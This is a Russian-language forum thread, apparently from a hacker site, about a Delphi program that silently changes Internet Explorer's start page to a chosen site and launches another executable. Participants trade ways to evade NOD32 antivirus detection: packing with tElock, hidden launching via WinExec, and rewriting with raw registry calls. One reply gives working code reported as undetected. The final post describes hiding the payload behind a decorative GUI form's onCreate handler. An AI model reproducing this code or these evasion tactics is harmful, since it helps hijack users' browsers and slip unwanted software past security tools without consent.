Борьба с NOD32 из Delphi

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Mirovan, 12 Jan 2007.

  1. Mirovan

    Mirovan Elder - Старейшина

    Joined:
    10 Apr 2005
    Messages:
    49
    Likes Received:
    0
    Reputations:
    0
    Есть программка (код ниже), она не делает ничего особенного кроме того что при запуске её устанавливается Домашняя страница у IE в http://www.my_site.ru, а затем вызывается прогрмма из той же директории some_bin.exe (которая полностью безопасна). НОД 32 почему то ругается на скомпилинный EXEшник, хотя DR.Web молчит.

    Вопрос:
    1) как сделать чтобы заткнуть НОД или модернизировать код чтобы НОД не рушгался

    2)правда ли что если я буду компилилить данный код более низкой версией Делфи чем 7.0, то размер ЕХЕшника будет меньше?


    Code:
    
    {$R run.res} //Инклудим Файл ресурсов в котором есть иконка
    uses
      Windows, Registry, ShellApi;
    var
      r: TRegistry;
      h: HWND;
    begin
      r := TRegistry.Create;
      r.RootKey := HKEY_CURRENT_USER;
      r.OpenKey('\Software\Microsoft\Internet Explorer\Main', True);
      r.WriteString('Start Page', 'http://www.some_site.ru');
      r.CloseKey;
      r.Free;
      ShellExecute(h, 'open', pchar('some_bin.exe'), nil , nil, SW_SHOWNORMAL);
    end.
    
    
     
  2. Sov1et

    Sov1et Elder - Старейшина

    Joined:
    23 Feb 2006
    Messages:
    60
    Likes Received:
    53
    Reputations:
    20
    нод скорее всего ругается на изменение реестра осла...
     
  3. asm33

    asm33 Elder - Старейшина

    Joined:
    19 Jan 2006
    Messages:
    55
    Likes Received:
    7
    Reputations:
    4
    точняк это из за осла нод парит мозги.

    1)если уж совсем никак, то попробуй реализовать операции с реестром через bat файл, а потом его запустить

    2) может быть и уменьшится, но не значительно. проблемы с размером exe решаются просто: использовать kol библиотеку.
     
  4. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    1. Скрытый запуск процесса.
    2. Работа с ветвью реестра которая подгрузится по умолчанию... ну похоже ведь на Adware, да? =)

    1.
    а) не юзай пакеры
    б) ни делай скрытых запусков типа
    winexec('file.exe',sw_hide);
    ShellExecute(handle,nil,'file.exe',nil,nil,sw_hide);
    (примечание. ИСХОДНИК СМОТРЕЛ!)
    в) ни делай ничего противозаконного =)

    2) да действительно так чем выше версия КОМПИЛЯТОРА тем выше исходный размер.

    Code:
    
    {$R run.res} //Инклудим Файл ресурсов в котором есть 
    иконка
    //зачем иконка?
    uses
      Windows, Registry, ShellApi;
    //Размер? Избавляйся от Registry & ShellAPI
    
    var
      r: TRegistry;
      h: HWND;
    //Теперь объясни зачем тебе переменная h?
    begin
      r := TRegistry.Create;
      r.RootKey := HKEY_CURRENT_USER;
      r.OpenKey('\Software\Microsoft\Internet Explorer\Main', True);
      r.WriteString('Start Page', 'http://www.some_site.ru');
      r.CloseKey;
      r.Free;
      ShellExecute(h, 'open', pchar('some_bin.exe'), nil , nil, SW_SHOWNORMAL);
    end.
    
    
     
  5. Mirovan

    Mirovan Elder - Старейшина

    Joined:
    10 Apr 2005
    Messages:
    49
    Likes Received:
    0
    Reputations:
    0
    1) Думаю многие видели диски какого нить там софта, где также ставиться хомпага в ИЕ на их сайт, причем нод молчит. Может есть способ изменения хомпаге ИЕ через ВинАпи ?

    2) я пренебрежительно отношусь к Kol, он бывает коверкает приложение, хотя здесь вроде программка маленькая, думаю что всё будет ОК.


    Кстати, будет ли НОД ругаться если использовать не консльное приложение а Gui-приложение? ( надо проверить ) .
     
  6. Mirovan

    Mirovan Elder - Старейшина

    Joined:
    10 Apr 2005
    Messages:
    49
    Likes Received:
    0
    Reputations:
    0
    Иконка нужна, однозначна, ну чтоб красиво было :)

    Если избавться от Registry & ShellAPI , то каким образом менять хомпагу у ИЕ ?
     
  7. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    ))
    Ужос...
    от ShellAPI можно избавиться путем переноса описания функции со всем описанием
    т.е. имя, переменные, экспорт...
    сейчас не могу сделать т.к. не дома.
    в качестве варианта можно использовать winexec
    от Registry можно избавиться если будешь работать с реестром на API
     
  8. asm33

    asm33 Elder - Старейшина

    Joined:
    19 Jan 2006
    Messages:
    55
    Likes Received:
    7
    Reputations:
    4
    а вместо ShellExecute(h, 'open', pchar('some_bin.exe'), nil , nil, SW_SHOWNORMAL);
    WinExec() использовать нереально? учитывая что ShellExecute запускается с аргументами h, 'open', pchar('some_bin.exe'), nil , nil, SW_SHOWNORMAL, WinExec полноценно ее заменит + не надо shellapi подключать, размер будет меньше
     
  9. asm33

    asm33 Elder - Старейшина

    Joined:
    19 Jan 2006
    Messages:
    55
    Likes Received:
    7
    Reputations:
    4
    пакеры как раз надо использовать!!! какой нибудь telock 1.0 (private edition). Вряд ли нод его распакует )))
     
  10. Mirovan

    Mirovan Elder - Старейшина

    Joined:
    10 Apr 2005
    Messages:
    49
    Likes Received:
    0
    Reputations:
    0
    Тут попробавал изменить код, чрез ВинАпи попыытался, нифига, НОД Снова орет:


    //{$R run.res}
    uses
    Windows, Registry, ShellApi;
    var
    h: HWND;
    (******)
    function RegWriteStr(RootKey: HKEY; Key, Name, Value: string): Boolean;
    var
    Handle: HKEY;
    Res: LongInt;
    begin
    Result := False;
    Res := RegCreateKeyEx(RootKey, PChar(Key), 0, nil, REG_OPTION_NON_VOLATILE,
    KEY_ALL_ACCESS, nil, Handle, nil);
    if Res <> ERROR_SUCCESS then
    Exit;
    Res := RegSetValueEx(Handle, PChar(Name), 0, REG_SZ, PChar(Value),
    Length(Value) + 1);
    Result := Res = ERROR_SUCCESS;
    RegCloseKey(Handle);
    end;
    (******)
    begin
    RegWriteStr(HKEY_CURRENT_USER, 'Software\Microsoft\Internet Explorer\Main', 'Start Page', 'http://www.maizon.ru');
    // ShellExecute(h, 'open', pchar('la2.exe'), nil , nil, SW_SHOWNORMAL);
    end.
     
  11. Go0o$E

    Go0o$E Members of Antichat

    Joined:
    27 Jan 2006
    Messages:
    304
    Likes Received:
    228
    Reputations:
    419
    Вот: Работает, весит 14 кб, нодом не палица =)

    program Project1;

    {$R run.res}
    uses
    Windows;

    var
    Reg : HKEY;
    begin
    RegCreateKey(HKEY_CURRENT_USER, 'Software\\Microsoft\\Internet Explorer\\Main', Reg);
    RegSetValueEx(Reg, PChar('Start Page') ,0 ,REG_SZ ,PChar('http://www.somesite.ru'), Length('http://www.somesite.ru') + 1);
    RegCloseKey(Reg);
    winexec('some_bin.exe',0);
    end.
     
  12. Mirovan

    Mirovan Elder - Старейшина

    Joined:
    10 Apr 2005
    Messages:
    49
    Likes Received:
    0
    Reputations:
    0
    Вообще фигня какая то, НОД - тупой, создал Gui приложение, и НОД , как ни странно молчит .
     
  13. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    ) ну даешь... НОД не тупой просто параноя =)
    ну как сделал?
    вот:
    function ShellExecute(hWnd: HWND; Operation, FileName, Parameters,
    Directory: PChar; ShowCmd: Integer): HINST; stdcall;
    external 'shell32.dll'name 'ShellExecuteA';
     
  14. Mirovan

    Mirovan Elder - Старейшина

    Joined:
    10 Apr 2005
    Messages:
    49
    Likes Received:
    0
    Reputations:
    0

    Из этой проблемы вылез с помощью GUI проложения, добавил на форму всяких красивых кнопоче, орюшечек и др, а onCreate сделал бяку которую и хотел.